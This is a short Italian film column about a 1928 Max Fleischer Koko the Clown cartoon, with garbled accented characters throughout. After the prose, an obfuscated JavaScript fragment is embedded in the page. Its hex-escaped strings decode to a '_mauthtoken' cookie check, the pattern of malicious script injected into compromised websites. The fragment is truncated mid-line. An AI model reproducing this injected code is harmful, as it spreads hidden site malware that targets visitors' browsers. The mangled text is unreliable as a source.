

La Finestra sui corti N. 5 (febbraio 2013)

A cura di Andrea Sottile

<http://www.youtube.com/watch?v=5ysCS1NB0zE&list=PL311D7653BBAE3AA1&index=10>

Una centrale operativa da cui A? possibile governare il funzionamento del pianeta Terra, un clown a Koko a uscito dalla penna del grande Max Fleischer e un cagnolino dispettoso. Era il 1928 e qualcuno già si preoccupava degli effetti catastrofici che un uso dissennato della tecnologia avrebbe reso possibili.

Koko A? il protagonista della straordinaria serie di cartoons Out of the Inkwell (1918-1929), in cui la fusione di immagini animate e di riprese a?dal veroa? consente al personaggio, nato da un calamaio, di ribellarsi al suo creatore.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x